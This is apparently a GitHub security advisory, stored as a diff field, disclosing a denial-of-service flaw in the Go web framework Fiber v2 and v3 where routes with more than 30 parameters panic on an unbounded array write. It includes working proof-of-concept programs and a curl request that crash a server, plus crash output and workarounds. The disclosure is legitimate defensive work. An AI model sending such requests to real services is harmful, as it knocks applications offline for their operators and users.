+ "details": "A denial of service vulnerability exists in Fiber v2 and v3 that allows remote attackers to crash the application by sending requests to routes with more than 30 parameters. The vulnerability results from missing validation during route registration combined with an unbounded array write during request matching.\n\n## Affected Versions\n\n- **Fiber v3.0.0-rc.3** and earlier v3 releases\n- **Fiber v2.52.10** and potentially all v2 releases (confirmed exploitable)\n- Both versions share the same vulnerable routing implementation\n\n## Vulnerability Details\n\n### Root Cause\n\nBoth Fiber v2 and v3 define a fixed-size parameter array in `ctx.go`:\n\n```go\nconst maxParams = 30\n\ntype DefaultCtx struct {\n values [maxParams]string // Fixed 30-element array\n // ...\n}\n```\n\nThe `router.go` `register()` function accepts routes without validating parameter count. When a request matches a route exceeding 30 parameters, the code in `path.go` performs an unbounded write:\n\n- **v3**: `path.go:514`\n- **v2**: `path.go:516`\n\n```go\n// path.go:514 - NO BOUNDS CHECKING\nparams[paramsIterator] = path[:i]\n```\n\nWhen `paramsIterator >= 30`, this triggers:\n```\npanic: runtime error: index out of range [30] with length 30\n```\n\n### Attack Scenario\n\n1. Application registers route with >30 parameters (e.g., via code or dynamic routing):\n ```go\n app.Get(\"/api/:p1/:p2/:p3/.../p35\", handler)\n ```\n\n2. Attacker sends matching HTTP request:\n ```bash\n curl http://target/api/v1/v2/v3/.../v35\n ```\n\n3. Server crashes during request processing with runtime panic\n\n## Proof of Concept\n\n### For Fiber v3\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\t\"time\"\n\t\"github.com/gofiber/fiber/v3\"\n)\n\nfunc main() {\n\tapp := fiber.New()\n\t\n\t// Register route with 35 parameters (exceeds maxParams=30)\n\tpath := \"/test\"\n\tfor i := 1; i <= 35; i++ {\n\t\tpath += fmt.Sprintf(\"/:p%d\", i)\n\t}\n\t\n\tfmt.Printf(\"Registering route: %s...\\n\", path[:50]+\"...\")\n\tapp.Get(path, func(c fiber.Ctx) error {\n\t\treturn c.SendString(\"Never reached\")\n\t})\n\tfmt.Println(\"✓ Registration succeeded (NO PANIC)\")\n\t\n\tgo func() {\n\t\tapp.Listen(\":9999\")\n\t}()\n\ttime.Sleep(200 * time.Millisecond)\n\t\n\t// Build exploit URL with 35 parameter values\n\turl := \"http://localhost:9999/test\"\n\tfor i := 1; i <= 35; i++ {\n\t\turl += fmt.Sprintf(\"/v%d\", i)\n\t}\n\t\n\tfmt.Println(\"\\n🔴 Sending exploit request...\")\n\tfmt.Println(\"Expected: panic at path.go:514 params[paramsIterator] = path[:i]\\n\")\n\t\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\tfmt.Printf(\"✗ Request failed: %v\\n\", err)\n\t\tfmt.Println(\"💥 Server crashed!\")\n\t} else {\n\t\tfmt.Printf(\"Response: %d\\n\", resp.StatusCode)\n\t\tresp.Body.Close()\n\t}\n}\n```\n\n**Output:**\n```\nRegistering route: /test/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8/:p9/:p10...\n✓ Registration succeeded (NO PANIC)\n\n🔴 Sending exploit request...\nExpected: panic at path.go:514 params[paramsIterator] = path[:i]\n\npanic: runtime error: index out of range [30] with length 30\n\ngoroutine 40 [running]:\ngithub.com/gofiber/fiber/v3.(*routeParser).getMatch(...)\n\t/path/to/fiber/path.go:514\ngithub.com/gofiber/fiber/v3.(*Route).match(...)\n\t/path/to/fiber/router.go:89\ngithub.com/gofiber/fiber/v3.(*App).next(...)\n\t/path/to/fiber/router.go:142\n```\n\n### For Fiber v2\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\t\"time\"\n\t\"github.com/gofiber/fiber/v2\"\n)\n\nfunc main() {\n\tapp := fiber.New()\n\t\n\t// Register route with 35 parameters (exceeds maxParams=30)\n\tpath := \"/test\"\n\tfor i := 1; i <= 35; i++ {\n\t\tpath += fmt.Sprintf(\"/:p%d\", i)\n\t}\n\t\n\tfmt.Printf(\"Registering route: %s...\\n\", path[:50]+\"...\")\n\tapp.Get(path, func(c *fiber.Ctx) error {\n\t\treturn c.SendString(\"Never reached\")\n\t})\n\tfmt.Println(\"✓ Registration succeeded (NO PANIC)\")\n\t\n\tgo func() {\n\t\tapp.Listen(\":9998\")\n\t}()\n\ttime.Sleep(200 * time.Millisecond)\n\t\n\t// Build exploit URL with 35 parameter values\n\turl := \"http://localhost:9998/test\"\n\tfor i := 1; i <= 35; i++ {\n\t\turl += fmt.Sprintf(\"/v%d\", i)\n\t}\n\t\n\tfmt.Println(\"\\n🔴 Sending exploit request...\")\n\tfmt.Println(\"Expected: panic at path.go:516 params[paramsIterator] = path[:i]\\n\")\n\t\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\tfmt.Printf(\"✗ Request failed: %v\\n\", err)\n\t\tfmt.Println(\"💥 Server crashed!\")\n\t} else {\n\t\tfmt.Printf(\"Response: %d\\n\", resp.StatusCode)\n\t\tresp.Body.Close()\n\t}\n}\n```\n\n**Output (v2):**\n```\nRegistering route: /test/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8/:p9/:p10...\n✓ Registration succeeded (NO PANIC)\n\n🔴 Sending exploit request...\nExpected: panic at path.go:516 params[paramsIterator] = path[:i]\n\npanic: runtime error: index out of range [30] with length 30\n\ngoroutine 40 [running]:\ngithub.com/gofiber/fiber/v2.(*routeParser).getMatch(...)\n\t/path/to/fiber/v2@v2.52.10/path.go:512\ngithub.com/gofiber/fiber/v2.(*Route).match(...)\n\t/path/to/fiber/v2@v2.52.10/router.go:84\ngithub.com/gofiber/fiber/v2.(*App).next(...)\n\t/path/to/fiber/v2@v2.52.10/router.go:127\n```\n\n## Impact\n\n### Exploitation Requirements\n- No authentication required\n- Single HTTP request triggers crash\n- Trivially scriptable for sustained DoS\n- Works against any route with >30 parameters\n\n### Real-World Impact\n- **Public APIs**: Remote DoS attacks on vulnerable endpoints\n- **Microservices**: Cascade failures if vulnerable service is critical\n- **Auto-scaling**: Repeated crashes prevent proper recovery\n- **Monitoring**: Log flooding and alert fatigue\n\n### Likelihood\n**HIGH** - Exploitation requires only:\n- Knowledge of route structure (often public in APIs)\n- Standard HTTP client (curl, browser, etc.)\n- Single malformed request\n\n## Workarounds\n\nUntil patched, users should:\n\n1. **Audit Routes**: Ensure all routes have ≤30 parameters\n ```bash\n # Search for potential issues\n grep -r \"/:.*/:.*/:.*\" . | grep -v node_modules\n ```\n\n2. **Disable Dynamic Routing**: If programmatically registering routes, validate parameter count:\n ```go\n paramCount := strings.Count(route, \":\")\n if paramCount > 30 {\n log.Fatal(\"Route exceeds maxParams\")\n }\n ```\n\n3. **Rate Limiting**: Deploy aggressive rate limiting to mitigate DoS impact\n\n4. **Monitoring**: Alert on panic patterns in application logs\n\n## Timeline\n\n- **2024-12-24**: Vulnerability discovered in v3 during PR #3962 review\n- **2024-12-25**: Proof of concept confirmed exploitability in v3\n- **2024-12-25**: Vulnerability confirmed to also exist in v2 (same root cause)\n- **2024-12-25**: Security advisory created\n\n## References\n\n- **v3 Related PR**: https://github.com/gofiber/fiber/pull/3962 (UpdateParam feature with defensive checks, doesn't fix root cause)\n- **Vulnerable Code Locations**:\n - v3: [path.go:514](https://github.com/gofiber/fiber/blob/main/path.go#L514)\n - v2: [path.go:516](https://github.com/gofiber/fiber/blob/v2/path.go#L516)\n\n## Credit\n\n**Discovered by:** @sixcolors (Fiber maintainer) and @TheAspectDev",
0 commit comments